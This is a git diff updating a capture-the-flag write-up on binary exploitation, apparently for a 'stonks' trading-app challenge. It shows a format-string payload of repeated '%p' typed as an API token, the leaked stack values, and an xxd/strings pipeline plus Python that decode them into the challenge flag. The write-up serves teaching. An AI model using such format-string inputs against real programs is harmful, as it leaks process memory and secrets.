diff --git a/Images/hex_to_txt.png b/Images/hex_to_txt.png deleted file mode 100644 index f000e00..0000000 Binary files a/Images/hex_to_txt.png and /dev/null differ diff --git a/Phase 2/02 Binary Exploitation.md b/Phase 2/02 Binary Exploitation.md index fe1acc4..6cf79b4 100644 --- a/Phase 2/02 Binary Exploitation.md +++ b/Phase 2/02 Binary Exploitation.md @@ -71,24 +71,28 @@ Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio - 1 Using patented AI algorithms to buy stonks Stonks chosen What is your API token? %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p Buying stonks with token: -Buying stonks with token: -0x84c63b00x804b0000x80489c30xf7f68d800xffffffff0x10x84c41600xf7f761100xf7f68dc7(nil)0x84c51800x30x84c63900x84c63b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x35386130 -Portfolio as of Fri Nov 3 11:14:48 UTC 2023 +0x9a2d4700x804b0000x80489c30xf7f29d800xffffffff0x10x9a2b1600xf7f371100xf7f29dc7(nil)0x9a2c1800x10x9a2d4500x9a2d4700x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffda007d0xf7f64af80xf7f374400xe90f4f000x1(nil)0xf7dc6ce90xf7f380c00xf7f295c00xf7f290000xffdaad980xf7db768d0xf7f295c00x8048eca0xffdaada4(nil)0xf7f4bf090x804b0000xf7f290000xf7f29e200xffdaadd8 +Portfolio as of Tue Nov 7 19:30:57 UTC 2023 -3 shares of LGN -1 shares of PK -22 shares of GM -17 shares of IJV -19 shares of Y -112 shares of PWU +1 shares of NSW +2 shares of H +1 shares of KTHY +1 shares of Q +4 shares of F +3 shares of PGX +1 shares of N +70 shares of Q +6 shares of G +15 shares of HEW +79 shares of UHKM +1557 shares of L Goodbye! ``` @@ -98,16 +102,20 @@ Using the number system converters on [rapidtables](https://www.rapidtables.com/ ![No data](../Images/dec_to_txt.png) -But for the hexadecimal characters, we get promising results. Cleaning up the hex by removing the digits with a `(nil)` after them and all `0x` indicators except the first one, we get this. +But for the hexadecimal characters, we get promising results. Cleaning up the hex by removing the digits with a `(nil)` after them and feeding them into `xxd` and `strings`, we get this. -![The result](../Images/hex_to_txt.png) +``` +~ $ echo -n "0x9a2d4700x804b0000x80489c30xf7f29d800xffffffff0x10x9a2b1600xf7f371100x9a2c1800x10x9a2d4500x9a2d4700x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffda007d0xf7f64af80xf7f374400xe90f4f000xf7dc6ce90xf7f380c00xf7f295c00xf7f290000xffdaad980xf7db768d0xf7f295c00x8048eca0xf7f4bf090x804b0000xf7f290000xf7f29e200xffdaadd8" \ + | xxd -r -p | strings +ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3 +``` -The flag seems to be, albiet distorted, as `ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿº}`. +The flag seems to be, albeit distorted, as `ocip{FTC0l_I4_t5m_ll0m_y_y3n58a0`. It seems every four characters in the flag are reversed. We write some python to take care of this ``` -string = "ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿº}" +string = "ocip{FTC0l_I4_t5m_ll0m_y_y3n58a0" new_string = "" tmp = ""